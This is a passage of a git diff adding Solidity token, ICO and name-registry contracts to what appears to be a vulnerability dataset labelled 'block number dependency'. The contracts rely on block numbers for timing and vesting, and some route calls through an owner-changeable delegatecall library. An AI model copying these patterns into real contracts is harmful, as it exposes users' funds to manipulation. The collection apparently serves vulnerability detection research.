function transferToAddress(address _to, uint _value, bytes _data) private enoughBalance(_value) returns (bool success) { + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balanceOf(_to).add(_value); + + emit Transfer(msg.sender, _to, _value, _data); + + return true; + } + + + function transferToContract(address _to, uint _value, bytes _data) private enoughBalance(_value) returns (bool success) { + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balanceOf(_to).add(_value); + + ERC223Receiver receiver = ERC223Receiver(_to); + receiver.tokenFallback(msg.sender, _value, _data); + + emit Transfer(msg.sender, _to, _value, _data); + + return true; + } +} + + + + +contract BurnableToken is BasicToken { + + event Burn(address indexed burner, uint256 value); + + + function burn(uint256 _value) public { + _burn(msg.sender, _value); + } + + function _burn(address _who, uint256 _value) internal { + require(_value <= balances[_who]); + + + + balances[_who] = balances[_who].sub(_value); + totalSupply_ = totalSupply_.sub(_value); + emit Burn(_who, _value); + emit Transfer(_who, address(0), _value); + } +} + + + + +contract StandardBurnableToken is BurnableToken, StandardToken { + + + function burnFrom(address _from, uint256 _value) public { + require(_value <= allowed[_from][msg.sender]); + + + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + _burn(_from, _value); + } +} + + + + +contract BaseToken is ERC223Token, StandardBurnableToken { +} + + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + + + + +contract ShintakuToken is BaseToken, Ownable { + using SafeMath for uint; + + string public constant symbol = "SHN"; + string public constant name = "Shintaku"; + uint8 public constant demicals = 18; + + + uint public constant TOKEN_UNIT = (10 ** uint(demicals)); + + + + + uint public PERIOD_BLOCKS; + + uint public OWNER_LOCK_BLOCKS; + + uint public USER_LOCK_BLOCKS; + + uint public constant TAIL_EMISSION = 400 * (10 ** 3) * TOKEN_UNIT; + + uint public constant INITIAL_EMISSION_FACTOR = 25; + + + + + uint public constant MAX_RECEIVED_PER_PERIOD = 10000 ether; + + + struct Period { + + uint started; + + + uint totalReceived; + + uint ownerLockedBalance; + + uint minting; + + + mapping (address => bytes32) sealedPurchaseOrders; + + mapping (address => uint) receivedBalances; + + mapping (address => uint) lockedBalances; + + + mapping (address => address) aliases; + } + + + + modifier validPeriod(uint _period) { + require(_period <= currentPeriodIndex()); + _; + } + + + + + Period[] internal periods; + + + address public ownerAlias; + + + + event NextPeriod(uint indexed _period, uint indexed _block); + event SealedOrderPlaced(address indexed _from, uint indexed _period, uint _value); + event SealedOrderRevealed(address indexed _from, uint indexed _period, address indexed _alias, uint _value); + event OpenOrderPlaced(address indexed _from, uint indexed _period, address indexed _alias, uint _value); + event Claimed(address indexed _from, uint indexed _period, address indexed _alias, uint _value); + + + + constructor(address _alias, uint _periodBlocks, uint _ownerLockFactor, uint _userLockFactor) public { + require(_alias != address(0)); + require(_periodBlocks >= 2); + require(_ownerLockFactor > 0); + require(_userLockFactor > 0); + + periods.push(Period(block.number, 0, 0, calculateMinting(0))); + ownerAlias = _alias; + + PERIOD_BLOCKS = _periodBlocks; + OWNER_LOCK_BLOCKS = _periodBlocks.mul(_ownerLockFactor); + USER_LOCK_BLOCKS = _periodBlocks.mul(_userLockFactor); + } + + + function nextPeriod() public { + uint periodIndex = currentPeriodIndex(); + uint periodIndexNext = periodIndex.add(1); + require(block.number.sub(periods[periodIndex].started) > PERIOD_BLOCKS); + + periods.push(Period(block.number, 0, 0, calculateMinting(periodIndexNext))); + + emit NextPeriod(periodIndexNext, block.number); + } + + + function createPurchaseOrder(address _from, uint _period, uint _value, bytes32 _salt) public pure returns (bytes32) { + return keccak256(abi.encodePacked(_from, _period, _value, _salt)); + } + + + function placePurchaseOrder(bytes32 _sealedPurchaseOrder) public payable { + if (block.number.sub(periods[currentPeriodIndex()].started) > PERIOD_BLOCKS) { + nextPeriod(); + } + + Period storage period = periods[currentPeriodIndex()]; + + require(period.sealedPurchaseOrders[msg.sender] == bytes32(0)); + + period.sealedPurchaseOrders[msg.sender] = _sealedPurchaseOrder; + period.receivedBalances[msg.sender] = msg.value; + + emit SealedOrderPlaced(msg.sender, currentPeriodIndex(), msg.value); + } + + + function revealPurchaseOrder(bytes32 _sealedPurchaseOrder, uint _period, uint _value, bytes32 _salt, address _alias) public { + + require(_alias != address(0)); + + require(currentPeriodIndex() == _period.add(1)); + Period storage period = periods[_period]; + + require(period.aliases[msg.sender] == address(0)); + + + + bytes32 h = createPurchaseOrder(msg.sender, _period, _value, _salt); + require(h == _sealedPurchaseOrder); + + + require(_value <= period.receivedBalances[msg.sender]); + + period.totalReceived = period.totalReceived.add(_value); + uint remainder = period.receivedBalances[msg.sender].sub(_value); + period.receivedBalances[msg.sender] = _value; + period.aliases[msg.sender] = _alias; + + emit SealedOrderRevealed(msg.sender, _period, _alias, _value); + + + _alias.transfer(remainder); + } + + + function placeOpenPurchaseOrder(address _alias) public payable { + + require(_alias != address(0)); + + if (block.number.sub(periods[currentPeriodIndex()].started) > PERIOD_BLOCKS) { + nextPeriod(); + } + + Period storage period = periods[currentPeriodIndex()]; + + require(period.aliases[msg.sender] == address(0)); + + period.totalReceived = period.totalReceived.add(msg.value); + period.receivedBalances[msg.sender] = msg.value; + period.aliases[msg.sender] = _alias; + + emit OpenOrderPlaced(msg.sender, currentPeriodIndex(), _alias, msg.value); + } + + + function claim(address _from, uint _period) public { + + require(currentPeriodIndex() > _period.add(1)); + Period storage period = periods[_period]; + require(period.receivedBalances[_from] > 0); + + uint value = period.receivedBalances[_from]; + delete period.receivedBalances[_from]; + + (uint emission, uint spent) = calculateEmission(_period, value); + uint remainder = value.sub(spent); + + address alias = period.aliases[_from]; + + mint(alias, emission); + + + period.lockedBalances[_from] = period.lockedBalances[_from].add(remainder); + + period.ownerLockedBalance = period.ownerLockedBalance.add(spent); + + emit Claimed(_from, _period, alias, emission); + } + + + function withdraw(address _from, uint _period) public { + require(currentPeriodIndex() > _period); + Period storage period = periods[_period]; + require(block.number.sub(period.started) > USER_LOCK_BLOCKS); + + uint balance = period.lockedBalances[_from]; + require(balance <= address(this).balance); + delete period.lockedBalances[_from]; + + address alias = period.aliases[_from]; + + + alias.transfer(balance); + } + + + function withdrawOwner(uint _period) public onlyOwner { + require(currentPeriodIndex() > _period); + Period storage period = periods[_period]; + require(block.number.sub(period.started) > OWNER_LOCK_BLOCKS); + + uint balance = period.ownerLockedBalance; + require(balance <= address(this).balance); + delete period.ownerLockedBalance; + + ownerAlias.transfer(balance); + } + + + function withdrawOwnerUnrevealed(uint _period, address _from) public onlyOwner { + + require(currentPeriodIndex() > _period.add(1)); + Period storage period = periods[_period]; + require(block.number.sub(period.started) > OWNER_LOCK_BLOCKS); + + uint balance = period.receivedBalances[_from]; + require(balance <= address(this).balance); + delete period.receivedBalances[_from]; + + ownerAlias.transfer(balance); + } + + + function calculateMinting(uint _period) internal pure returns (uint) { + + return + _period < INITIAL_EMISSION_FACTOR ? + TAIL_EMISSION.mul(INITIAL_EMISSION_FACTOR.sub(_period)) : + TAIL_EMISSION + ; + } + + + function currentPeriodIndex() public view returns (uint) { + assert(periods.length > 0); + + return periods.length.sub(1); + } + + + function calculateEmission(uint _period, uint _value) internal view returns (uint, uint) { + Period storage currentPeriod = periods[_period]; + uint minting = currentPeriod.minting; + uint totalReceived = currentPeriod.totalReceived; + + uint scaledValue = _value; + if (totalReceived > MAX_RECEIVED_PER_PERIOD) { + + + scaledValue = _value.mul(MAX_RECEIVED_PER_PERIOD).div(totalReceived); + } + + uint emission = scaledValue.mul(minting).div(MAX_RECEIVED_PER_PERIOD); + return (emission, scaledValue); + } + + + function mint(address _account, uint _value) internal { + balances[_account] = balances[_account].add(_value); + totalSupply_ = totalSupply_.add(_value); + } + + + + function getPeriodStarted(uint _period) public view validPeriod(_period) returns (uint) { + return periods[_period].started; + } + + function getPeriodTotalReceived(uint _period) public view validPeriod(_period) returns (uint) { + return periods[_period].totalReceived; + } + + function getPeriodOwnerLockedBalance(uint _period) public view validPeriod(_period) returns (uint) { + return periods[_period].ownerLockedBalance; + } + + function getPeriodMinting(uint _period) public view validPeriod(_period) returns (uint) { + return periods[_period].minting; + } + + function getPeriodSealedPurchaseOrderFor(uint _period, address _account) public view validPeriod(_period) returns (bytes32) { + return periods[_period].sealedPurchaseOrders[_account]; + } + + function getPeriodReceivedBalanceFor(uint _period, address _account) public view validPeriod(_period) returns (uint) { + return periods[_period].receivedBalances[_account]; + } + + function getPeriodLockedBalanceFor(uint _period, address _account) public view validPeriod(_period) returns (uint) { + return periods[_period].lockedBalances[_account]; + } + + function getPeriodAliasFor(uint _period, address _account) public view validPeriod(_period) returns (address) { + return periods[_period].aliases[_account]; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/3123.sol b/smart_contract_dataset/block number dependency/3123.sol new file mode 100644 index 0000000000000000000000000000000000000000..963efe8e4a5ca10ae595b7596a96fb631ed2bfc6 --- /dev/null +++ b/smart_contract_dataset/block number dependency/3123.sol @@ -0,0 +1,477 @@ +pragma solidity 0.4.24; +contract Owned { + + address public owner = msg.sender; + + constructor(address _owner) public { + if ( _owner == 0x00 ) { + _owner = msg.sender; + } + owner = _owner; + } + + function replaceOwner(address _owner) external returns(bool) { + require( isOwner() ); + owner = _owner; + return true; + } + + function isOwner() internal view returns(bool) { + return owner == msg.sender; + } + + modifier forOwner { + require( isOwner() ); + _; + } +} +library SafeMath { + + function add(uint256 a, uint256 b) internal pure returns(uint256 c) { + c = a + b; + assert( c >= a ); + return c; + } + function sub(uint256 a, uint256 b) internal pure returns(uint256 c) { + c = a - b; + assert( c <= a ); + return c; + } + function mul(uint256 a, uint256 b) internal pure returns(uint256 c) { + c = a * b; + assert( c == 0 || c / a == b ); + return c; + } + function div(uint256 a, uint256 b) internal pure returns(uint256) { + return a / b; + } + function pow(uint256 a, uint256 b) internal pure returns(uint256 c) { + c = a ** b; + assert( c % a == 0 ); + return a ** b; + } +} +contract TokenDB is Owned { + + function transfer(address _from, address _to, uint256 _amount) external returns(bool _success) {} + function bulkTransfer(address _from, address[] _to, uint256[] _amount) external returns(bool _success) {} + function setAllowance(address _owner, address _spender, uint256 _amount) external returns(bool _success) {} + + function getAllowance(address _owner, address _spender) public view returns(bool _success, uint256 _remaining) {} + function balanceOf(address _owner) public view returns(bool _success, uint256 _balance) {} +} +contract Token is Owned { + + using SafeMath for uint256; + + string public name = "Inlock token"; + string public symbol = "ILK"; + uint8 public decimals = 8; + uint256 public totalSupply = 44e16; + address public libAddress; + TokenDB public db; + Ico public ico; + + function () public { revert(); } + + function changeLibAddress(address _libAddress) external forOwner {} + function changeDBAddress(address _dbAddress) external forOwner {} + function changeIcoAddress(address _icoAddress) external forOwner {} + function approve(address _spender, uint256 _value) external returns (bool _success) {} + function transfer(address _to, uint256 _amount) external returns (bool _success) {} + function bulkTransfer(address[] _to, uint256[] _amount) external returns (bool _success) {} + function transferFrom(address _from, address _to, uint256 _amount) external returns (bool _success) {} + + function allowance(address _owner, address _spender) public view returns (uint256 _remaining) {} + function balanceOf(address _owner) public view returns (uint256 _balance) {} + + event AllowanceUsed(address indexed _spender, address indexed _owner, uint256 indexed _value); + event Mint(address indexed _addr, uint256 indexed _value); + event Approval(address indexed _owner, address indexed _spender, uint _value); + event Transfer(address indexed _from, address indexed _to, uint _value); +} +contract Ico is Owned { + + using SafeMath for uint256; + + enum phaseType { + pause, + privateSale1, + privateSale2, + sales1, + sales2, + sales3, + sales4, + preFinish, + finish + } + struct vesting_s { + uint256 amount; + uint256 startBlock; + uint256 endBlock; + uint256 claimedAmount; + } + + mapping(address => bool) public KYC; + mapping(address => bool) public transferRight; + mapping(address => vesting_s) public vesting; + phaseType public currentPhase; + uint256 public currentRate; + uint256 public currentRateM = 1e3; + uint256 public privateSale1Hardcap = 4e16; + uint256 public privateSale2Hardcap = 64e15; + uint256 public thisBalance = 44e16; + address public offchainUploaderAddress; + address public setKYCAddress; + address public setRateAddress; + address public libAddress; + Token public token; + + constructor(address _owner, address _libAddress, address _tokenAddress, address _offchainUploaderAddress, + address _setKYCAddress, address _setRateAddress) Owned(_owner) public { + currentPhase = phaseType.pause; + libAddress = _libAddress; + token = Token(_tokenAddress); + offchainUploaderAddress = _offchainUploaderAddress; + setKYCAddress = _setKYCAddress; + setRateAddress = _setRateAddress; + } + + function () public payable { + buy(); + } + + function changeLibAddress(address _libAddress) external forOwner { + libAddress = _libAddress; + } + function changeOffchainUploaderAddress(address _offchainUploaderAddress) external forOwner { + offchainUploaderAddress = _offchainUploaderAddress; + } + function changeKYCAddress(address _setKYCAddress) external forOwner { + setKYCAddress = _setKYCAddress; + } + function changeSetRateAddress(address _setRateAddress) external forOwner { + setRateAddress = _setRateAddress; + } + function setVesting(address _beneficiary, uint256 _amount, uint256 _startBlock, uint256 _endBlock) external { + address _trg = libAddress; + assembly { + let m := mload(0x40) + calldatacopy(m, 0, calldatasize) + let success := delegatecall(gas, _trg, m, calldatasize, m, 0) + switch success case 0 { + revert(0, 0) + } default { + return(m, 0) + } + } + } + function claimVesting() external { + address _trg = libAddress; + assembly { + let m := mload(0x40) + calldatacopy(m, 0, calldatasize) + let success := delegatecall(gas, _trg, m, calldatasize, m, 0) + switch success case 0 { + revert(0, 0) + } default { + return(m, 0) + } + } + } + function setKYC(address[] _on, address[] _off) external { + address _trg = libAddress; + assembly { + let m := mload(0x40) + calldatacopy(m, 0, calldatasize) + let success := delegatecall(gas, _trg, m, calldatasize, m, 0) + switch success case 0 { + revert(0, 0) + } default { + return(m, 0) + } + } + } + function setTransferRight(address[] _allow, address[] _disallow) external { + address _trg = libAddress; + assembly { + let m := mload(0x40) + calldatacopy(m, 0, calldatasize) + let success := delegatecall(gas, _trg, m, calldatasize, m, 0) + switch success case 0 { + revert(0, 0) + } default { + return(m, 0) + } + } + } + function setCurrentRate(uint256 _currentRate) external { + address _trg = libAddress; + assembly { + let m := mload(0x40) + calldatacopy(m, 0, calldatasize) + let success := delegatecall(gas, _trg, m, calldatasize, m, 0) + switch success case 0 { + revert(0, 0) + } default { + return(m, 0) + } + } + } + function setCurrentPhase(phaseType _phase) external { + address _trg = libAddress; + assembly { + let m := mload(0x40) + calldatacopy(m, 0, calldatasize) + let success := delegatecall(gas, _trg, m, calldatasize, m, 0) + switch success case 0 { + revert(0, 0) + } default { + return(m, 0) + } + } + } + function offchainUpload(address[] _beneficiaries, uint256[] _rewards) external { + address _trg = libAddress; + assembly { + let m := mload(0x40) + calldatacopy(m, 0, calldatasize) + let success := delegatecall(gas, _trg, m, calldatasize, m, 0) + switch success case 0 { + revert(0, 0) + } default { + return(m, 0) + } + } + } + function buy() public payable { + address _trg = libAddress; + assembly { + let m := mload(0x40) + calldatacopy(m, 0, calldatasize) + let success := delegatecall(gas, _trg, m, calldatasize, m, 0) + switch success case 0 { + revert(0, 0) + } default { + return(m, 0) + } + } + } + + function allowTransfer(address _owner) public view returns (bool _success, bool _allow) { + address _trg = libAddress; + assembly { + let m := mload(0x40) + calldatacopy(m, 0, calldatasize) + let success := delegatecall(gas, _trg, m, calldatasize, m, 0x40) + switch success case 0 { + revert(0, 0) + } default { + return(m, 0x40) + } + } + } + function calculateReward(uint256 _input) public view returns (bool _success, uint256 _reward) { + address _trg = libAddress; + assembly { + let m := mload(0x40) + calldatacopy(m, 0, calldatasize) + let success := delegatecall(gas, _trg, m, calldatasize, m, 0x40) + switch success case 0 { + revert(0, 0) + } default { + return(m, 0x40) + } + } + } + function calcVesting(address _owner) public view returns(bool _success, uint256 _reward) { + address _trg = libAddress; + assembly { + let m := mload(0x40) + calldatacopy(m, 0, calldatasize) + let success := delegatecall(gas, _trg, m, calldatasize, m, 0x40) + switch success case 0 { + revert(0, 0) + } default { + return(m, 0x40) + } + } + } + + event Brought(address _owner, address _beneficiary, uint256 _input, uint256 _output); + event VestingDefined(address _beneficiary, uint256 _amount, uint256 _startBlock, uint256 _endBlock); + event VestingClaimed(address _beneficiary, uint256 _amount); +} +contract IcoLib is Ico { + + constructor(address _owner, address _tokenAddress, address _offchainUploaderAddress, address _setKYCAddress, address _setRateAddress) + Ico(_owner, 0x00, _tokenAddress, _offchainUploaderAddress, _setKYCAddress, _setRateAddress) public {} + + function setVesting(address _beneficiary, uint256 _amount, uint256 _startBlock, uint256 _endBlock) external forOwner { + require( _beneficiary != 0x00 ); + thisBalance = thisBalance.add( vesting[_beneficiary].amount.sub(vesting[_beneficiary].claimedAmount) ); + if ( _amount == 0 ) { + delete vesting[_beneficiary]; + emit VestingDefined(_beneficiary, 0, 0, 0); + } else { + require( _endBlock > _startBlock ); + vesting[_beneficiary] = vesting_s( + _amount, + _startBlock, + _endBlock, + 0 + ); + thisBalance = thisBalance.sub( _amount ); + emit VestingDefined(_beneficiary, _amount, _startBlock, _endBlock); + } + } + function claimVesting() external { + uint256 _reward; + bool _subResult; + ( _subResult, _reward ) = calcVesting(msg.sender); + require( _subResult && _reward > 0 ); + vesting[msg.sender].claimedAmount = vesting[msg.sender].claimedAmount.add(_reward); + require( token.transfer(msg.sender, _reward) ); + } + function setKYC(address[] _on, address[] _off) external { + uint256 i; + require( msg.sender == setKYCAddress ); + for ( i=0 ; i<_on.length ; i++ ) { + KYC[_on[i]] = true; + } + for ( i=0 ; i<_off.length ; i++ ) { + delete KYC[_off[i]]; + } + } + function setTransferRight(address[] _allow, address[] _disallow) external forOwner { + uint256 i; + for ( i=0 ; i<_allow.length ; i++ ) { + transferRight[_allow[i]] = true; + } + for ( i=0 ; i<_disallow.length ; i++ ) { + delete transferRight[_disallow[i]]; + } + } + function setCurrentRate(uint256 _currentRate) external { + require( msg.sender == setRateAddress ); + require( _currentRate >= currentRateM ); + currentRate = _currentRate; + } + function setCurrentPhase(phaseType _phase) external forOwner { + currentPhase = _phase; + } + function offchainUpload(address[] _beneficiaries, uint256[] _rewards) external { + uint256 i; + uint256 _totalReward; + require( msg.sender == offchainUploaderAddress ); + require( currentPhase != phaseType.pause && currentPhase != phaseType.finish ); + require( _beneficiaries.length == _rewards.length ); + for ( i=0 ; i<_rewards.length ; i++ ) { + _totalReward = _totalReward.add(_rewards[i]); + emit Brought(msg.sender, _beneficiaries[i], 0, _rewards[i]); + } + thisBalance = thisBalance.sub(_totalReward); + if ( currentPhase == phaseType.privateSale1 ) { + privateSale1Hardcap = privateSale1Hardcap.sub(_totalReward); + } else if ( currentPhase == phaseType.privateSale2 ) { + privateSale2Hardcap = privateSale2Hardcap.sub(_totalReward); + } + token.bulkTransfer(_beneficiaries, _rewards); + } + function buy() public payable { + uint256 _reward; + bool _subResult; + require( currentPhase == phaseType.privateSale2 || + currentPhase == phaseType.sales1 || + currentPhase == phaseType.sales2 || + currentPhase == phaseType.sales3 || + currentPhase == phaseType.sales4 || + currentPhase == phaseType.preFinish + ); + require( KYC[msg.sender] ); + ( _subResult, _reward ) = calculateReward(msg.value); + require( _reward > 0 && _subResult ); + thisBalance = thisBalance.sub(_reward); + require( owner.send(msg.value) ); + if ( currentPhase == phaseType.privateSale1 ) { + privateSale1Hardcap = privateSale1Hardcap.sub(_reward); + } else if ( currentPhase == phaseType.privateSale2 ) { + privateSale2Hardcap = privateSale2Hardcap.sub(_reward); + } + require( token.transfer(msg.sender, _reward) ); + emit Brought(msg.sender, msg.sender, msg.value, _reward); + } + + function allowTransfer(address _owner) public view returns (bool _success, bool _allow) { + return ( true, _owner == address(this) || transferRight[_owner] || currentPhase == phaseType.preFinish || currentPhase == phaseType.finish ); + } + function calculateReward(uint256 _input) public view returns (bool _success, uint256 _reward) { + uint256 _amount; + _success = true; + if ( currentRate == 0 || _input == 0 ) { + return; + } + _amount = _input.mul(1e8).mul(100).mul(currentRate).div(1e18).div(currentRateM); + if ( _amount == 0 ) { + return; + } + if ( currentPhase == phaseType.privateSale1 ) { + if ( _amount >= 25e13 ) { + _reward = _amount.mul(142).div(100); + } else if ( _amount >= 10e13 ) { + _reward = _amount.mul(137).div(100); + } else if ( _amount >= 2e13 ) { + _reward = _amount.mul(133).div(100); + } + if ( _reward > 0 && privateSale1Hardcap < _reward ) { + _reward = 0; + } + } else if ( currentPhase == phaseType.privateSale2 ) { + if ( _amount >= 125e13 ) { + _reward = _amount.mul(129).div(100); + } else if ( _amount >= 100e13 ) { + _reward = _amount.mul(124).div(100); + } else if ( _amount >= 10e13 ) { + _reward = _amount.mul(121).div(100); + } + if ( _reward > 0 && privateSale2Hardcap < _reward ) { + _reward = 0; + } + } else if ( currentPhase == phaseType.sales1 ) { + if ( _amount >= 1e12 ) { + _reward = _amount.mul(117).div(100); + } + } else if ( currentPhase == phaseType.sales2 ) { + if ( _amount >= 1e12 ) { + _reward = _amount.mul(112).div(100); + } + } else if ( currentPhase == phaseType.sales3 ) { + if ( _amount >= 1e12 ) { + _reward = _amount.mul(109).div(100); + } + } else if ( currentPhase == phaseType.sales4 ) { + if ( _amount >= 1e12 ) { + _reward = _amount.mul(102).div(100); + } + } else if ( currentPhase == phaseType.preFinish ) { + _reward = _amount; + } + if ( thisBalance < _reward ) { + _reward = 0; + } + } + function calcVesting(address _owner) public view returns(bool _success, uint256 _reward) { + vesting_s memory _vesting = vesting[_owner]; + if ( _vesting.amount == 0 || block.number < _vesting.startBlock ) { + return ( true, 0 ); + } + _reward = _vesting.amount.mul( block.number.sub(_vesting.startBlock) ).div( _vesting.endBlock.sub(_vesting.startBlock) ); + if ( _reward > _vesting.amount ) { + _reward = _vesting.amount; + } + if ( _reward <= _vesting.claimedAmount ) { + return ( true, 0 ); + } + return ( true, _reward.sub(_vesting.claimedAmount) ); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/313.sol b/smart_contract_dataset/block number dependency/313.sol new file mode 100644 index 0000000000000000000000000000000000000000..c1e7d22e2ee6ec4d7ec0201453dd0d75e140590b --- /dev/null +++ b/smart_contract_dataset/block number dependency/313.sol @@ -0,0 +1,399 @@ +pragma solidity ^0.4.21; + +contract Issuer { + + address internal issuer = 0x692202c797ca194be918114780db7796e9397c13; + + function changeIssuer(address _to) public { + + require(msg.sender == issuer); + + issuer = _to; + } +} + +contract ERC20Interface { + + function totalSupply() public constant returns (uint); + function balanceOf(address tokenOwner) public constant returns (uint balance); + function allowance(address tokenOwner, address spender) public constant returns (uint remaining); + function transfer(address to, uint tokens) public returns (bool success); + function approve(address spender, uint tokens) public returns (bool success); + function transferFrom(address from, address to, uint tokens) public returns (bool success); + + event Transfer(address indexed from, address indexed to, uint tokens); + event Approval(address indexed tokenOwner, address indexed spender, uint tokens); + + +} + +library StringHelper { + + function stringToUint(string s) pure internal returns (uint result) { + bytes memory b = bytes(s); + uint i; + result = 0; + for (i = 0; i < b.length; i++) { + uint c = uint(b[i]); + if (c >= 48 && c <= 57) { + result = result * 10 + (c - 48); + } + } + } + +} + +library SafeMath { + + function add(uint a, uint b) internal pure returns (uint c) { + c = a + b; + require(c >= a); + } + + function sub(uint a, uint b) internal pure returns (uint c) { + require(b <= a); + c = a - b; + } + +} + +contract ERC20 is Issuer, ERC20Interface { + + using SafeMath for uint; + + bool public locked = true; + + string public constant name = "Ethnamed"; + string public constant symbol = "NAME"; + uint8 public constant decimals = 18; + uint internal tokenPrice; + + event Transfer(address indexed from, address indexed to, uint tokens); + event Approval(address indexed tokenOwner, address indexed spender, uint tokens); + + struct Contributor { + mapping(address => uint) allowed; + uint balance; + } + + mapping(address => Contributor) contributors; + + function ERC20() public { + tokenPrice = 10**uint(decimals); + Contributor storage contributor = contributors[issuer]; + contributor.balance = totalSupply(); + emit Transfer(address(0), issuer, totalSupply()); + } + + function unlock() public { + require(msg.sender == issuer); + locked = false; + } + + function totalSupply() public view returns (uint) { + return 1000000 * tokenPrice; + } + + function balanceOf(address _tokenOwner) public view returns (uint) { + Contributor storage contributor = contributors[_tokenOwner]; + return contributor.balance; + } + + function transfer(address _to, uint _tokens) public returns (bool) { + require(!locked || msg.sender == issuer); + Contributor storage sender = contributors[msg.sender]; + Contributor storage recepient = contributors[_to]; + sender.balance = sender.balance.sub(_tokens); + recepient.balance = recepient.balance.add(_tokens); + emit Transfer(msg.sender, _to, _tokens); + return true; + } + + function allowance(address _tokenOwner, address _spender) public view returns (uint) { + Contributor storage owner = contributors[_tokenOwner]; + return owner.allowed[_spender]; + } + + function transferFrom(address _from, address _to, uint _tokens) public returns (bool) { + + Contributor storage owner = contributors[_from]; + + require(owner.allowed[msg.sender] >= _tokens); + + Contributor storage receiver = contributors[_to]; + + owner.balance = owner.balance.sub(_tokens); + owner.allowed[msg.sender] = owner.allowed[msg.sender].sub(_tokens); + + receiver.balance = receiver.balance.add(_tokens); + + emit Transfer(_from, _to, _tokens); + + return true; + } + + function approve(address _spender, uint _tokens) public returns (bool) { + + require(!locked); + + Contributor storage owner = contributors[msg.sender]; + owner.allowed[_spender] = _tokens; + + emit Approval(msg.sender, _spender, _tokens); + return true; + } + +} + +contract DEXified is ERC20 { + + using SafeMath for uint; + + + + + struct Sales { + address[] items; + mapping(address => uint) lookup; + } + + struct Offer { + uint256 tokens; + uint256 price; + } + + mapping(address => Offer) exchange; + + uint256 public market = 0; + + + Sales internal sales; + + function sellers(uint index) public view returns (address) { + return sales.items[index]; + } + + function getOffer(address _owner) public view returns (uint256[2]) { + Offer storage offer = exchange[_owner]; + return ([offer.price , offer.tokens]); + } + + function addSeller(address item) private { + if (sales.lookup[item] > 0) { + return; + } + sales.lookup[item] = sales.items.push(item); + } + + function removeSeller(address item) private { + uint index = sales.lookup[item]; + if (index == 0) { + return; + } + if (index < sales.items.length) { + address lastItem = sales.items[sales.items.length - 1]; + sales.items[index - 1] = lastItem; + sales.lookup[lastItem] = index; + } + sales.items.length -= 1; + delete sales.lookup[item]; + } + + + function setOffer(address _owner, uint256 _price, uint256 _value) internal { + exchange[_owner].price = _price; + market = market.sub(exchange[_owner].tokens); + exchange[_owner].tokens = _value; + market = market.add(_value); + if (_value == 0) { + removeSeller(_owner); + } + else { + addSeller(_owner); + } + } + + + function offerToSell(uint256 _price, uint256 _value) public { + require(!locked); + setOffer(msg.sender, _price, _value); + } + + function executeOffer(address _owner) public payable { + require(!locked); + Offer storage offer = exchange[_owner]; + require(offer.tokens > 0); + require(msg.value == offer.price); + _owner.transfer(msg.value); + + Contributor storage owner_c = contributors[_owner]; + Contributor storage sender_c = contributors[msg.sender]; + + require(owner_c.balance >= offer.tokens); + owner_c.balance = owner_c.balance.sub(offer.tokens); + sender_c.balance = sender_c.balance.add(offer.tokens); + emit Transfer(_owner, msg.sender, offer.tokens); + setOffer(_owner, 0, 0); + } + +} + +contract Ethnamed is DEXified { + + using SafeMath for uint; + using StringHelper for string; + + struct Name { + string record; + address owner; + uint expires; + uint balance; + } + + function withdraw(address _to) public { + + require(msg.sender == issuer); + + _to.transfer(address(this).balance); + } + + mapping (string => Name) internal registry; + + mapping (bytes32 => string) internal lookup; + + function resolve(string _name) public view returns (string) { + return registry[_name].record; + } + + function whois(bytes32 _hash) public view returns (string) { + return lookup[_hash]; + } + + function transferOwnership(string _name, address _to) public { + + require(registry[_name].owner == msg.sender); + + registry[_name].owner = _to; + } + + function removeName(string _name) internal { + Name storage item = registry[_name]; + + bytes32 hash = keccak256(item.record); + + delete registry[_name]; + + delete lookup[hash]; + } + + function removeExpiredName(string _name) public { + + require(registry[_name].expires < now); + + removeName(_name); + } + + function removeNameByOwner(string _name) public { + + Name storage item = registry[_name]; + + require(item.owner == msg.sender); + + removeName(_name); + } + + + function sendTo(string _name) public payable { + + if (registry[_name].owner == address(0)) { + registry[_name].balance = registry[_name].balance.add(msg.value); + } + else { + registry[_name].owner.transfer(msg.value); + } + + } + + + + function setupCore(string _name, string _record, address _owner, uint _life) internal { + + Name storage item = registry[_name]; + + require(item.owner == msg.sender || item.owner == 0x0); + item.record = _record; + item.owner = _owner; + if (item.balance > 0) { + item.owner.transfer(item.balance); + item.balance = 0; + } + item.expires = now + _life; + bytes32 hash = keccak256(_record); + lookup[hash] = _name; + + } + + function setupViaAuthority( + string _length, + string _name, + string _record, + string _blockExpiry, + address _owner, + uint8 _v, + bytes32 _r, + bytes32 _s, + uint _life + ) internal { + + require(_blockExpiry.stringToUint() >= block.number); + + require(ecrecover(keccak256("\x19Ethereum Signed Message:\n", _length, _name, "r=", _record, "e=", _blockExpiry), _v, _r, _s) == issuer); + + setupCore(_name, _record, _owner, _life); + + } + + function setOrUpdateRecord2( + string _length, + string _name, + string _record, + string _blockExpiry, + address _owner, + uint8 _v, + bytes32 _r, + bytes32 _s + ) public { + + Contributor storage contributor = contributors[msg.sender]; + + require(contributor.balance >= tokenPrice); + + contributor.balance = contributor.balance.sub(tokenPrice); + + uint life = 48 weeks; + + setupViaAuthority(_length, _name, _record, _blockExpiry, _owner, _v, _r, _s, life); + } + + function setOrUpdateRecord( + string _length, + string _name, + string _record, + string _blockExpiry, + address _owner, + uint8 _v, + bytes32 _r, + bytes32 _s + ) public payable { + + uint life = msg.value == 0.01 ether ? 48 weeks : + msg.value == 0.008 ether ? 24 weeks : + msg.value == 0.006 ether ? 12 weeks : + msg.value == 0.002 ether ? 4 weeks : + 0; + + require(life > 0); + + setupViaAuthority(_length, _name, _record, _blockExpiry, _owner, _v, _r, _s, life); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/3132.sol b/smart_contract_dataset/block number dependency/3132.sol new file mode 100644 index 